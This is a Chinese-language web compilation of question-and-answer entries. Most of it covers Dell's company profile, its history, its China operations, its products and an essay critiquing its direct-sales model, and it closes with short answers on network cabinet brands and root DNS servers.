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目录: 1、Dell公司介绍 2、dell的成长历史 3、网络机柜十大国际品牌都是哪些 4、全球十三个根DNS服务器 5、39.98.57.158哪的服务器 6、GEMORAL(GROUP)是哪家上市企业 Dell公司介绍自己看把 很详细的
戴尔公司于1984年由迈克尔•戴尔创立。他是目前计算机行业内任期最长的首席执行官。他的理念非常简单:按照客户要求制造计算机,并向客户直接发货,使戴尔公司能够最有效和明确地了解客户需求,继而迅速做出回应。这个直接的商业模式消除了中间商,这样就减少了不必要的成本和时间,让戴尔公司更好地理解客户的需要。这种直接模式允许戴尔公司能以富有竞争性的价位,为每一位消费者定制并提供具有丰富配置的强大系统。通过平均四天一次的库存更新, 戴尔公司能够把最新相关技术带给消费者,而且远远快于那些运转缓慢、采取分销模式的公司。
戴尔公司网站: 致力于倾听客户需求,提供客户所信赖和注重的创新技术与服务。受益于独特的直接经营模式, 戴尔在全球的产品销量高于任一家计算机厂商,并因此在财富500强中名列第25位。 戴尔之所以能够不断巩固其市场领先地位,是因其一贯坚持直接销售基于标准的计算产品和服务, 并提供最佳的客户体验。在过去的四个财季中,公司营业额达到了574亿美元。 戴尔公司目前在全球共有约75,100名雇员。
戴尔效应
二十多年以来,戴尔公司革命性地改变整个行业,使全球的客户包括商业、组织机构和个人消费者都能接触到计算机产品。由于被业界接受的戴尔直接模式,信息技术变得更加强大,易于使用,价格更能接受,从而为客户提供充分利用这些强大的、全新工具的机会,以改善他们的工作和生活。
戴尔公司在进入新的标准化产品的领域再次展示其效益,这些领域包括网络服务器、工作站、移动产品、打印机和其它电子部件。今天,在全球销售的5台基于标准技术的计算机产品中就有1台来自戴尔。这样的全球覆盖显示戴尔的直接模式对所有产品线、所有地区和所有细分客户都适用。
资本流动性、利润率、增长性
经过不断艰苦的努力,戴尔公司保持了增长性、利润率、资本流动性的平衡,为股东带来了高额的回报。戴尔公司在这些领域一直领先于其最大的竞争对手。
戴尔公司亚太区简介
戴尔公司从90年代初开始为亚太地区的商业、政府、大型机构和个人提供服务。
随着1993年首次在日本和澳大利亚开始运营,戴尔公司进入亚太区的目标市场,开始在区域性设施、管理、服务和技术人员等方面 进行投资。
目前戴尔公司在亚太区13个市场开展直线订购业务:澳大利亚、文莱、中国大陆、香港、印度、日本、韩国、澳门、马来西亚、新西兰、 新加坡、台湾和泰国。除此之外,还有38个合作伙伴为其他31个市场提供服务。
戴尔公司在亚太地区提供的系列产品和专业经验,能够帮助跨国企业、政府、大企业以及富有经验的个人用户和中小企业,在区域内 进行技术创新。
戴尔通过其“全球客户计划”,向拥有全球业务的亚洲用户提供订制的成套服务和支持。它为全球客户提供统一订货、结账、订制产品 (包括安装专有软件),以及本地供货和现场服务等好处。
戴尔公司亚太业务的核心是设在马来西亚槟城的“亚太客户中心"(APCC)。这间占地23.8万平方英尺的生产厂房于1995年10月投产。 2001年2月,占地37万平方英尺的戴尔“亚太客户中心"二期(APCC2)落成。 "亚太客户中心"为亚太地区的客户(中国和日本除外) 按定单生产台式机、工作站、笔记本电脑、服务器和存储产品。APCC和APCC2都通过了ISO9001:2000 (质量管理),ISO14001:1996 (环境管理) 以及 OHSAS18001:1999 职业安全与健康管理)的认证。
戴尔公司参考"亚太客户中心"的生产与专业功能,于1998年8月建设了位于福建厦门的“中国客户中心"(CCC)。为了满足中国市场 日益增长的需求,2000年11月"中国客户中心"拓展为35万平方英尺的设施。它继续在生产、管理、营销、财务等各个方面都按照戴尔 模式运作。CCC于2001年3月获得ISO9001(2000版)和ISO14001认证。2002年9月,它成为了戴尔全球首个获得OHSAS18001职业安全 与健康管理认证的的工厂。
亚太地区的客户可以向戴尔直接订购产品,并可在7至10天内收到订货。客户还可以获得终生免费的技术支持热线,并得到现场服务。
戴尔首创技术支持热线,并使之成为业内标准。"亚太客户中心"内精通多种语言的技术支持工程师,能够通过电话解决80%以上来电 客户的技术问题。这一切之所以成为可能,是因为戴尔所付运的每套系统都有一个与其详细技术规格相联的产品编号。
戴尔公司在全球最重要的一项投资是互联网。其亚太区网址目前采用4种语言,包括汉语、英语、韩语和日语, 支持亚太地区11个国家的站点。
截至到2006年8月4日的第二财季,戴尔亚太及日本地区的出货量增长了27%,几乎是除戴尔外市场增速的3倍。 戴尔的市场份额较去年同期增加一个百分点,达到11.1%,成为该地区的第二大厂商。在日本,戴尔以16.1%的份额成为第二大厂商。
戴尔(中国)有限公司业务资料
开展直线订购模式的城市和地区
戴尔公司于1998年8月将直线订购模式引入中国。
戴尔(中国)公司(以下简称戴尔)在北京、上海、广州、成都、南京、杭州和深圳设有办事处,并有实力将销售及市场拓展到多个主要城市(例如沈阳、苏州、武汉和西安),以及100多个二线城市和城属区域。
在华现有员工超过5,500人。
以客户为本的市场战略
戴尔竭诚提供优良的客户服务,并拥有专业的销售及技术支持队伍,为不同领域的客户提供服务:
企业客户:大型及中型公司
全球客户
政府及有关机构
家庭及小型企业
目标市场:
电信业
银行业/税务业/金融业
政府
跨国公司
教育/研究机构
市场定位
根据IDC公司2006年第2季度研究报告,戴尔目前在中国市场(包括香港)份额为10.3%。在于2006年8月4日结束的戴尔公司2007年第二财季中,戴尔中国的出货量和收入比上一季度同期分别增长了37%和31%。
基础设施及运营状况
中国客户中心(CCC)
中国客户中心(CCC)于1998年8月在租来的厂房里开始运营,并于2000年 11月迁入目前所使用的永久性厂房。
位于福建省厦门市机场附近的新的中国客户中心占地总面积为350,000平方英尺,于2001年3月获得ISO9001(2000版)和ISO14001认证。2002年9月,它成为了戴尔全球首个获得OHSAS18001职业安全与健康管理认证的的工厂。为中国用户提供综合销售和生产设施,包括全方位的服务和技术支持。
凯文.罗林斯在2005年8月2日访华庆祝戴尔中国7周年志庆时宣布,戴尔在中国生产的产品总量达到一千万台,标志着戴尔在华发展的又一里程碑。
2006年1月戴尔在厦门建立的在中国的第二家工厂开始投产,并于2006年5月正式开业。新工厂的落成使戴尔在中国的生产能力扩大一倍,生产的产品将服务于包括中国和日本在内的北亚地区的客户。
中国设计中心 (CDC)
2000年7月戴尔开始了计算机相关设计工作,目的在于促进包括新的系统平台、外围设备、软件和服务产品的研制,以满足特定客户的需要和市场要求。
2002年7月,戴尔中国设计中心(CDC)落户上海,支持公司以客户为中心的全球领先技术,加强了戴尔台式机产品设计和开发工作。
2006年3月戴尔公司宣布将进一步扩大戴尔中国设计中心的规模,该中心将增加200名设计人员,进一步提升全球产品研发能力。
大连戴尔客户联系中心(Dalian Dell Customer Contact Center)
戴尔2002年10月宣布在中国大连开设大连戴尔客户联系中心,开始主要是支持在日本市场的后台运营,提高客户服务的功效,从而有力推动戴尔在日本市场业务的迅速增长。该中心于2002年底投入运营。
目前,该中心现拥有1,000多名员工, 主要负责支持戴尔日本/韩国/中国公司的客户服务运营, 致力于提供优异的客户体验。
全球采购据点 (WWPO)
在香港、上海、深圳和台湾建立了国际采购网点,以加强与供应商在中国的伙伴关系,提高戴尔在全球的采购效率。
戴尔在中国采购大量零部件,包括附件、光驱、印刷电路板、软驱、显示器、扬声器、键盘、鼠标和输入输出设备。年采购量超过157亿美金。
中国企业指挥中心
戴尔中国企业服务指挥中心(ECC)是戴尔在亚太地区的第一家企业服务指挥中心,也是全球四家企业服务指挥中心之一。 自2004年9月在厦门成立以来,该中心已经成为戴尔在中国,包括港澳地区的企业服务的“中枢神经”。 它面向服务器及存储产品的企业客户提供高水准的、7x24x365全天候的服务支持。戴尔企业服务指挥 中心可以实现客服电话、技术人员以及各部门运作情况的实时追踪,并实时监测整个服务的过程, 处理关键性的故障,甚至主动发现故障隐患,从而能够在第一时间掌控和解决客户遇到的问题,及时、 有效地响应客户的服务需求,协助客户有效缩短系统宕机时间,实现最大限度的客户满意度和投资回报。
市场覆盖
中国客户可按其配置和软件要求,通过在全国258个城市中设立的720条免费电话直接联系到每一位戴尔的销售代表,订购个人电脑、笔记本电脑或服务器产品,也可直接通过互联网在戴尔的网站购买。
戴尔提供的现场服务和技术支持可直接覆盖2,123 个城市。
产品类别
面向家庭的 Dimension 个人台式电脑
面向家庭的 Inspiron 个人电脑(包括膝上电脑和台式电脑)
面向小型企业的 Vostro 膝上电脑和台式电脑
OptiPlex 企业级台式机
Latitude 企业级笔记本电脑
PowerEdge 服务器
PowerVault 和 Dell I EMC 存储解决方案
Precision 工作站
PowerConnect交换机
Axim PDA
投影仪
打印机
互联网居领导地位
戴尔公司的直线订购模式伸延至互联网上,令网上购买产品和获得服务变成轻松和安全。
全中文的 方便中国用户使用母语来确定配置、获得报价及订购产品。戴尔的中文网站计划也延伸到了戴尔的“用户主页”,便于企业及机构用户在互联网上购买戴尔的产品。
免费电话
普通消费者及家庭用户 800-858-2928/2936
中小型企业用户(500名员工以下) 800-858-2222
中小型企业用户(500到3500名员工) 800-858-2062
大型企业客户(3500名员工以上)
北部地区
东部地区
南部地区
西部地区
政府及教育部门
800-858-2999
800-858-2020
800-858-2355
800-858-2811
800-858-2572
“全球顾客计划”用户 800-858-2055
技术支持 800-858-2437/2333
客户服务 800-858-2060
戴尔公司发展史
一九八四年 迈克尔·戴尔创立戴尔计算机公司
一九八五年 推出首台自行设计的个人电脑--Turbo。Turbo采用英特尔 8088处理器,运算速度为8MHz
一九八七年 成为首家提供下一工作日上门产品服务的计算机系统公司
在英国设立办事处,开始拓展国际市场
一九八八年 戴尔公司正式上市,首次公开发行350万新股,每股作价8.5美元
一九八九年 推出首部戴尔笔记本电脑
一九九零年 在爱尔兰Limerick建立生产厂房,以供应欧洲、中东及非洲市场
一九九二年 首次被《财富》杂志评为为全球五百强企业
一九九三年 成为全球五大计算机系统制造商之一
在澳大利亚和日本设立办事处,正式进军亚太区市场
一九九五年 最初售价8.5美元的戴尔股票在分拆前已升至100美元
一九九六年 在马来西亚槟城开设亚太区生产中心
开始通过网站销售戴尔计算机产品
开始主攻网络服务器市场
成为标准普尔500成分股之一
一九九七年 第1,000万台戴尔电脑下线
普通股在分拆前每股升至1,000美元
推出首台戴尔工作站系统
网上营业额由年初的每天100万美元,跃升至逾400万美元
一九九八年 扩建在美国及欧洲的生产厂房,并在中国厦门开设生产及客户服务中心
推出PowerVault储存系统产品
一九九九年 在美国田纳西州那什维尔(Nashville, Tenn)增设办事处,拓展美洲业务
在巴西Eldorado do Sul开设生产工厂,满足拉丁美洲市场需求
推出“E-Support - Direct from Dell”网上技术支持服务
二零零零年 网上营业额达到每天5,000万美元
按工作站付运量计算,戴尔首次名列全球榜首
推出PowerApp应用服务器
第一百万台戴尔PowerEdge服务器下线
二零零一年 首次成为全球市场占有率最高的计算机厂商
按标准英特尔架构服务器付运量计算,戴尔在美国位居第一
推出PowerConnect网络交换机
二零零二年 戴尔将其奥斯汀工业园区命名为Topfer制造中心,以赞扬Mort Topfer在1994年至2002年的任期内对戴尔和社会的贡献
戴尔推出首个“刀片式”服务器,推出Axim X5进入手持设备市场,在美国针对零售业客户推出基于标准的收款机,推出 3100MP投影仪,进入投影仪市场
戴尔售出第二百万台PowerConnect网络交换机
美国客户选择戴尔为他们首选的计算机系统供应商
二零零三年 戴尔面向企业用户和个人用户推出打印机
戴尔推出戴尔回收计划使客户能够将任何厂商的计算机设备回收或者捐赠给慈善机构
正式更名为戴尔公司,反映了公司已经发展成为技术产品和服务的多元化提供商
戴尔进入家电市场,公司产品线的延伸为客户需求提供了一站式解决方案
二零零四年 凯文 罗林斯成为戴尔下一任首席执行官
戴尔宣布在北卡罗莱纳建立美国第三家工厂
二零零五年 戴尔被“财富杂志”评为“美国最受赞赏企业”的首位
位于北卡罗莱纳建立美国第三家工厂开幕
二零零六年 戴尔历史上首次季度出货量突破1000万台系统(2006财年第4季度)
戴尔公司全球业务概览
戴尔公司总部位于公司发源地——美国德克萨斯州奥斯汀。德克萨斯州中部地区同时也是负责美国、加拿大和拉丁美洲地区业务的戴尔美洲公司的大本营。此外,戴尔公司还在以下地点设有地区总部:英格兰Bracknell,负责欧洲、中东和非洲业务;新加坡,负责亚太区业务,包括日本、中国、澳大利亚和新西兰。
戴尔公司在以下七个地点生产计算机系统:德克萨斯州奥斯汀、田纳西州Nashville、北卡罗莱纳州Winston-Salem、巴西Eldorado do Sul(美洲)、爱尔兰Limerick(欧洲、中东和非洲)、马来西亚槟城(亚太区及日本)以及中国厦门(中国和日本)。戴尔公司目前在全球范围内提供产品和服务。
戴尔美洲公司
总部:德克萨斯州奥斯汀
制造工厂:德克萨斯州奥斯汀、田纳西州Nashville、北卡罗莱纳州Winston-Salem、巴西Eldorado do Sul
营业额(最近四个财季):371亿美元
本财季同比上年第二财季增长率:3 %
市场排名:美国第一*
雇员人数:34,800人
分支机构:
加拿大
智利
墨西哥
哥伦比亚
巴西
波多黎哥
阿根廷
巴拿马
萨尔瓦多
* 市场排名源自2006年第一季度IDC统计数据
戴尔亚太区/戴尔日本
总部: 新加坡
制造工厂:马来西亚槟城;中国厦门
营业额(最近四个财季):71亿美元
本财季同比上年第二财季增长率:17%
市场排名:亚太区市场第三位*;日本市场第三位*
员工总数:亚太区24,800人;日本1,300人
分支机构:
澳大利亚
中国大陆
日本
香港
印度
台湾
马来西亚
新西兰
新加坡
泰国
韩国
印度尼西亚
戴尔欧洲、中东及非洲地区
总部:英国Bracknell
制造工厂:爱尔兰Limerick
营业额(最近四个财季):131亿美元
本财季同比上年第二财季增长率:3%
市场排名:欧洲地区第二位*
员工总数:14,200人
分支机构:
奥地利
比利时
捷克共和国
丹麦
芬兰
法国
德国
希腊
爱尔兰
意大利
荷兰
挪威
波兰
南非
西班牙
瑞典
瑞士
英国
阿拉伯联合酋长国
俄罗斯
葡萄牙
苏格兰
斯洛伐克
* 市场排名源自2006年第一季度IDC统计数据
各地区营业额占公司总营业额比例
2007财年第二财季 | 2006财年第一财季 | 2006财年第二财季
美洲地区 65 | 63 | 66
欧洲、非洲、中东 21 | 24 | 22
亚太区、日本 14 | 13 | 12
2006年8月
戴尔公司产品及服务概览
服务器 戴尔 PowerEdgeTM 网络服务器基于标准化设计,为客户所有业务关键型应用,包括电子邮件、数据库和高性能计算环境提供了价格合理的高性能、高可靠性和可扩展性。大型企业客户可以选择高性能的机架式和塔式服务器,小型企业和网络可以选择价格极具竞争力的塔式服务器。
存储产品 Dell | EMC以及戴尔PowerVaultTM 及为客户提供了具备卓越管理能力,灵活的协同工作能力和可靠的性能的综合解决方案系列,保护他们当前的重要信息的同时,提供了当他们数据库需求增长时的可扩展性。戴尔存储产品包括外部存储,磁带备份产品,网络附加存储,光纤通道,存储区域网络和机架式解决方案
工作站 戴尔PrecisionTM (工作站以及移动工作站适合专业人士运行复杂应用时对卓越性能的需要,例如三维计算机辅助设计、数码内容创作、软件开发和财务/经济建模等。
笔记本电脑 戴尔提供两个系列的笔记本电脑。LatitudeTM (系列笔记本电脑可以满足企业和机构用户对性能、便携性、灵活性等方面的广泛需求。LatitudeTM (包括从支持无线技术的高度可扩展的全配置系统,到超轻超薄系统的全系列产品。戴尔InspironTM (笔记本电脑主要面向那些希望以较低的价格获得高性能计算机系统的用户。这类客户主要包括个人及中小企业,他们通常希望能最大限度地实现其投资的效益。
台式机 戴尔的客户可以在两个系列的台式机系统中选择。OptiPlexTM 台式机适合那些在网络环境中需要高可靠性,稳定性,可管理型和易服务性系统的企业及机构,戴尔DimensionTM 台式机为着眼于快速获得技术回报以及高性能计算功能的小型企业和家庭用户设计。最新的高性能组件会应用在DimensionTM 产品系列。而07年的时候,dell在中国推出了一种更时尚的台式机,Inspiron 系列.Inspiron系列凭借着比dimension系列更时尚,更先进的特点而大受欢迎.还有面向小企业的EC280,特点是小,便宜.
网络产品 戴尔PowerConnectTM 网络交换机为中型和小型网络提供电脑和服务器的连接。PowerConnectTM 产品以较低的价格为客户提供了企业级的性能和可靠性。
软件及外设产品 戴尔以极具竞争力的价格提供了一系列软件及外设产品,包括软件、显示器、投影仪、软件、内存、笔记本附件和打印机等。
dell的成长历史您好 戴尔个人简介 戴尔 1965年出生于休斯敦 —— 一支著名的 NBA球队(休斯敦火箭队)的所在地,他的父亲是一位牙医,母亲是一个经纪人,因此,他们结识了许多中上阶层人士。这也使得小戴尔能有机会经常与那些人士相接触,通过与那些人的交往,小戴尔懂得了许多新鲜的东西,其中也包括电脑。
为了不辜负父母对他的一片期望,戴尔在 1983年进入了得克萨斯大学,成为了一名医学预科生。但事实上他只对电脑行业感兴趣,他很想大干一场。
他从当地的电脑零售商那里以低价买来了一些积压过时的 IBM的PC电脑,由他自己进行改装升级后转手又卖出去,很快便销售一空,他也靠电脑赚得了他的第一笔收入。
初涉商海,戴尔获得了信心,拥有了一笔数目可观的积蓄。大学第一学年结束以后,他打算退学,遭到了父母的坚决反对,为了打破僵局,戴尔提出了一个折衷的方案,如果那个夏天的销售额不令人满意的话,他就继续读他的医学。他的父母接受了他的这个建议,因为他们认为他根本就无法取得这场争斗的胜利。但他们错了,戴尔的表现使得他没有留任何机会给他的父母,因为仅在第一个月他就卖出了价值 18万美元的改装PC电脑。从此,他再也没有回到过学校。
败中修正坐标 业绩一飞冲天
戴尔决定正式成立 Dell电脑公司。1987年10月,戴尔依靠他过人的胆量和敏锐的感觉,在股市暴跌的情况下大量吃进高盛的股票,第二年他便获利了1800万美元。这一年,他只有23岁,他开始向成功迈出了坚实的第一步。
年轻人的身体里总是充满了热情与果敢,但与此相对应的是,年轻人也容易热情得过了火。 1991年,Dell公司的销售额达到8亿美元。1992年他给公司的市场份额定位于15亿美元,但结果却大大地超出了戴尔的预想,Dell公司的销售额竟然突破了20亿美元。
过分的顺利使得戴尔有些飘飘然。一味地追求生产量使得戴尔在基础设施建设和经营管理方面遇到了很多困难,公司陷入了一种无序的状态, Dell公司自创立以来首次出现了亏损,股票价格也大幅下跌。
这次打击是巨大的,但这也使得戴尔变得清醒起来,“ 我又从空中落回到了地面上 ”。戴尔回顾了公司9年来所走过的路程:把公司的发展方向从误区“ 追求最大的生产量 ”中解脱了出来。取而代之的新的经营策略“ 流动性、利润和增长 ”成为了公司以后发展的坐标。从那以后,Dell公司有了今天320亿美元的年销售额,Dell公司变成了一个真正意义上的大公司,戴尔也成为了一个成熟的商人。
43岁的年龄,敏锐的感觉,超凡的胆识。这就是迈克尔.戴尔。著名猎头公司烽火猎头资深顾问评价戴尔先生的职业精神是每个猎头人学习的榜样。
戴尔曾荣获《首席执行官》杂志 “ 2001年度首席执行官 ” 、《 Inc》杂志 “ 年度企业家 ” 、《 PC Magazine》杂志 “ 年度风云人物 ” 、《 Worth》杂志 “ 美国商界最佳首席执行官 ” ,《金融世界》和《工业周刊》杂志 “ 年度首席执行官 ” 等称号。在 1997年、1998年和1999年,他都名列《商业周刊》评选的 “ 年度最佳 25位经理人 ” 之中。海德里克 (Heidrick)和斯卓格斯(Struggles)等知名高级经理人猎头公司称戴尔为 “ 富有影响力的首席执行官 ” 。
戴尔公司于 1992年进入《财富》杂志500家之列,戴尔因此成为其中最年轻的首席执行官。戴尔公司目前名列《财富》杂志500家的第48位,《财富》全球500家的第154位。自1995年起,戴尔公司一直名列《财富》杂志评选的 “ 最受仰慕的公司 ” , 2001年排名第10位。
该企业品牌在世界品牌实验室(World Brand Lab)编制的2006年度《世界品牌500强》排行榜中名列第三十。该企业在2007年度《财富》全球最大五百家公司排名中名列第一百零二。
戴尔在全世界都是采用网上直销的方式(电子商务极大地节省了人力和物流成本),每周有几款特价机型促销,并用来做广告宣传。在网上订购正在促销的机型是可取的。
戴尔公司简介
全球领先的IT产品及服务提供商戴尔公司,致力于倾听客户需求,提供客户所信赖和注重的创新技术与服务。受益于独特的直接经营模式, 戴尔在全球的产品销量高于任一家计算机厂商,并因此在财富500强中名列第25位。 戴尔之所以能够不断巩固其市场领先地位,是因其一贯坚持直接销售基于标准的计算产品和服务, 并提供最佳的客户体验。在过去的四个财季中,公司营业额达到了574亿美元。 戴尔公司目前在全球共有约75,100名雇员。
总部设在德克萨斯州奥斯汀(Austin)的戴尔公司于1984年由迈克尔?戴尔创立。他是目前计算机行业内任期最长的首席执行官。他的理念非常简单:按照客户要求制造计算机,并向客户直接发货,使戴尔公司能够最有效和明确地了解客户需求,继而迅速做出回应。这个直接的商业模式消除了中间商,这样就减少了不必要的成本和时间,让戴尔公司更好地理解客户的需要。这种直接模式允许戴尔公司能以富有竞争性的价位,为每一位消费者定制并提供具有丰富配置的强大系统。通过平均四天一次的库存更新,戴尔公司能够把最新相关技术带给消费者,而且远远快于那些运转缓慢、采取分销模式的公司。
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戴尔公司亚太区简介 戴尔公司从90年代初开始为亚太地区的商业、政府、大型机构和个人提供服务。
随着1993年首次在日本和澳大利亚开始运营,戴尔公司进入亚太区的目标市场,开始在区域性设施、管理、服务和技术人员等方面进行投资。
目前戴尔公司在亚太区13个市场开展直线订购业务:澳大利亚、文莱、中国大陆、香港、印度、日本、韩国、澳门、马来西亚、新西兰、 新加坡、台湾和泰国。除此之外,还有38个合作伙伴为其他31个市场提供服务。
戴尔公司在亚太地区提供的系列产品和专业经验,能够帮助跨国企业、政府、大企业以及富有经验的个人用户和中小企业,在区域内进行技术创新。
戴尔通过其“全球客户计划”,向拥有全球业务的亚洲用户提供订制的成套服务和支持。它为全球客户提供统一订货、结账、订制产品(包括安装专有软件),以及本地供货和现场服务等好处。
戴尔公司亚太业务的核心是设在马来西亚槟城的“亚太客户中心"(APCC)。这间占地23.8万平方英尺的生产厂房于1995年10月投产。 2001年2月,占地37万平方英尺的戴尔“亚太客户中心"二期(APCC2)落成。 "亚太客户中心"为亚太地区的客户(中国和日本除外) 按定单生产台式机、工作站、笔记本电脑、服务器和存储产品。APCC和APCC2都通过了ISO9001:2000 (质量管理),ISO14001:1996 (环境管理) 以及 OHSAS18001:1999 职业安全与健康管理)的认证。
戴尔公司参考"亚太客户中心"的生产与专业功能,于1998年8月建设了位于福建厦门的“中国客户中心"(CCC)。为了满足中国市场 日益增长的需求,2000年11月"中国客户中心"拓展为35万平方英尺的设施。它继续在生产、管理、营销、财务等各个方面都按照戴尔模式运作。CCC于2001年3月获得ISO9001(2000版)和ISO14001认证。2002年9月,它成为了戴尔全球首个获得OHSAS18001职业安全与健康管理认证的的工厂。
亚太地区的客户可以向戴尔直接订购产品,并可在7至10天内收到订货。客户还可以获得终生免费的技术支持热线,并得到现场服务。
戴尔首创技术支持热线,并使之成为业内标准。"亚太客户中心"内精通多种语言的技术支持工程师,能够通过电话解决80%以上来电 客户的技术问题。这一切之所以成为可能,是因为戴尔所付运的每套系统都有一个与其详细技术规格相联的产品编号。
戴尔公司在全球最重要的一项投资是互联网。其亚太区网址目前采用4种语言,包括汉语、英语、韩语和日语, 支持亚太地区11个国家的站点。 截至到2006年8月4日的第二财季,戴尔亚太及日本地区的出货量增长了27%,几乎是除戴尔外市场增速的3倍。 戴尔的市场份额较去年同期增加一个百分点,达到11.1%,成为该地区的第二大厂商。在日本,戴尔以16.1%的份额成为第二大厂商。
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戴尔效应 二十多年以来,戴尔公司革命性地改变整个行业,使全球的客户包括商业、组织机构和个人消费者都能接触到计算机产品。由于被业界接受的戴尔直接模式,信息技术变得更加强大,易于使用,价格更能接受,从而为客户提供充分利用这些强大的、全新工具的机会,以改善他们的工作和生活。
戴尔公司在进入新的标准化产品的领域再次展示其效益,这些领域包括网络服务器、工作站、移动产品、打印机和其它电子部件。今天,在全球销售的5台基于标准技术的计算机产品中就有1台来自戴尔。这样的全球覆盖显示戴尔的直接模式对所有产品线、所有地区和所有细分客户都适用。
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戴尔公司发展史 1984年迈克尔·戴尔创立戴尔计算机公司
1985年推出首台自行设计的个人电脑--Turbo。Turbo采用英特尔 8088处理器,运算速度为8MHz
1987年成为首家提供下一工作日上门产品服务的计算机系统公司,在英国设立办事处,开始拓展国际市场
1988年戴尔公司正式上市,首次公开发行350万新股,每股作价8.5美元
1989年推出首部戴尔笔记本电脑
1990年在爱尔兰Limerick建立生产厂房,以供应欧洲、中东及非洲市场
1992年首次被《财富》杂志评为为全球五百强企业
1993年成为全球五大计算机系统制造商之一,在澳大利亚和日本设立办事处,正式进军亚太区市场
1995年最初售价8.5美元的戴尔股票在分拆前已升至100美元
1996年在马来西亚槟城开设亚太区生产中心,开始通过网站销售戴尔计算机产品,开始主攻网络服务器市场,成为标准普尔500指数成分股之一
1997年第1,000万台戴尔电脑下线,普通股在分拆前每股升至1,000美元,推出首台戴尔工作站系统,网上营业额由年初的每天100万美元,跃升至逾400万美元
1998年扩建在美国及欧洲的生产厂房,并在中国厦门开设生产及客户服务中心,推出PowerVault储存系统产品
1999年在美国田纳西州那什维尔(Nashville, Tenn)增设办事处,拓展美洲业务,在巴西Eldorado do Sul开设生产工厂,满足拉丁美洲市场需求,推出“E-Support - Direct from Dell”网上技术支持服务
2000年网上营业额达到每天5,000万美元,按工作站付运量计算,戴尔首次名列全球榜首,推出PowerApp应用服务器,第一百万台戴尔PowerEdge服务器下线
2001年首次成为全球市场占有率最高的计算机厂商,按标准英特尔架构服务器付运量计算,戴尔在美国位居第一,推出PowerConnect网络交换机
2002年戴尔将其奥斯汀工业园区命名为Topfer制造中心,以赞扬Mort Topfer在1994年至2002年的任期内对戴尔和社会的贡献,戴尔推出首个“刀片式”服务器,推出Axim X5进入手持设备市场,在美国针对零售业客户推出基于标准的收款机,推出3100MP投影仪,进入投影仪市场,戴尔售出第二百万台PowerConnect网络交换机,美国客户选择戴尔为他们首选的计算机系统供应商
2003年戴尔面向企业用户和个人用户推出打印机,戴尔推出戴尔回收计划使客户能够将任何厂商的计算机设备回收或者捐赠给慈善机构,正式更名为戴尔公司,反映了公司已经发展成为技术产品和服务的多元化提供商,戴尔进入家电市场,公司产品线的延伸为客户需求提供了一站式解决方案
2004年凯文 罗林斯成为戴尔下一任首席执行官,戴尔宣布在北卡罗莱纳建立美国第三家工厂
2005年戴尔被“财富杂志”评为“美国最受赞赏企业”的首位,位于北卡罗莱纳建立美国第三家工厂开幕
2006年戴尔历史上首次季度出货量突破1000万台系统(2006财年第4季度)
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戴尔的市场定位 根据IDC公司2006年第2季度研究报告,戴尔目前在中国市场(包括香港)份额为10.3%。在于2006年8月4日结束的戴尔公司2007年第二财季中,戴尔中国的出货量和收入比上一季度同期分别增长了37%和31%。
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戴尔放弃直销模式 2006年,戴尔赖以成功发家并得以进入全球各个国家市场的直销模式备受IT界和华尔街股票界的质疑。戴尔在2006年整体表现乏善可称,不但在第三季度业绩被最强大的竞争对手惠普以全球市场份额16.3%比16.1%超越,丢掉了个人计算机市场世界第一的宝位,而且销售增长率落后于整体市场平均水平,尤其是在新兴国家市场的不利导致其整体份额的下降,同时多个重要市场的高层管理者的决然离职也使得戴尔好象成为了一位风烛残年的企业。戴尔先后有原副总裁威廉·J·阿梅里奥、原中国区总裁符标榜、原中国区总裁麦大伟、原日本家用及商用销售业务总监Sotaro Amano、亚太及日本地区营销的副总裁David Schmoock等先后加入了竞争对手的阵营,尤其是戴尔好象在亚太区从营销到客服的高管层来了个向联想的整体迁移。
这一切表明戴尔直销模式的发展边际走到了尽头,其直销模式的边际效益已经开始呈现负面效果,戴尔不断走向成功和在市场中攻城掠地的利器已经迟钝不堪。
现在,就连原本曾对戴尔直销模式顶礼膜拜的华尔街分析师们也不得不感叹戴尔直销在客户服务和低成本方面的优势已经荡然无存。更有的分析师认为戴尔未来一年仍将面临低速增长的困境,而其收益率下降是必然的结果。
戴尔直销彻底走下了神坛。
虽然任何一种销售模式都会存在极限和边际,可为什么戴尔直销只是进入新兴市场较短的时间就触到了“天花板”?在欧美发达国家发展起来的直销模式为何没有在新兴市场发挥出强大的作用力?在欧美国家,戴尔直销的问题症结又在哪里?
通过对戴尔直销模式的深度分析,本文从市场营销角度提出了戴尔直销模式的六大弊症、五大疑问和五大良药。
戴尔直销模式的六大弊症
众所周知,戴尔直销模式之所以成功主要因素在于:第一,快速反应,按需生产,强大的定单处理系统和生产体系;第二,强大的数据处理能力和先进的信息化管理技术;第三,优秀的客户服务,强大的呼叫中心服务;第四,强大而高效的供应链;第五,低成本和价格战。
正是这五种因素的完美结合,使得戴尔成为了世界性的IT巨头。
然而,戴尔直销模式在新兴国家甚至一些欧洲发达国家却一直发展不顺利。比如在意大利、中国、印度等国家,戴尔的市场份额一直不理想。在中国、印度等为世界所瞩目的新兴“黄金”市场,戴尔直销如同在黄色的沙漠里行舟。据IDC数据显示,截至2005年底,联想在亚太区PC市场的市场份额为17.6%,惠普为10%,而戴尔为9.9%。而惠普计划2006年亚太区PC销量增长率将达到20%左右,是该地区全行业10%的增长预期的两倍。显然戴尔的表现相比联想和惠普差得太远。
即使在美国本土,越来越多的人也更倾向于到商店购买计算机,这使得惠普等竞争对手产生了更多的销售。
而戴尔的客户服务和价格方面曾经的优势已经丧失。以提升业绩为最终目的的成本控制却因造成客户服务方面的硬伤,而使戴尔事倍功半。
网络机柜十大国际品牌都是哪些国外品牌的基本情况是专业机柜厂商,比如VERO英国威龙(后来被美国APW收购,现在他们销售在北京,工厂在上海),CPI机柜(部分进口,国内OEM一部分)和日东机柜(东西不错,品牌国人不认,销售都下岗了N多)。还有做工业机柜为主的Schroff霍夫曼(在中国是青岛奔泰,奔泰收购了APW VERO机柜的香港代理商雅百达,雅百达抢注了VERO的中文商标威龙,所有奔泰在卖威龙机柜,其实跟英国VERO就是两套东西,国外都认VERO,买VERO还是找APW吧),威图(其实威图大头生意是工业机柜)。传统的服务器厂商(IBM,HIP,DELL),他们的都是贴牌的。另外就是UPS厂商如施耐德APC,艾默生和Tripplite。 国外Tripplite做的也很好,和服务器厂商一个毛病,走的是代工路线。国外一般还会选择Eaton,Panduit等。在国内能实施冷通道的是APW,威图,艾默生,APC,CPI就是找国内小工厂做个冷通道,在国内基本没施工能力。
全球十三个根DNS服务器DNS根服务器主要用来管理互联网的主目录,全世界只有13台。
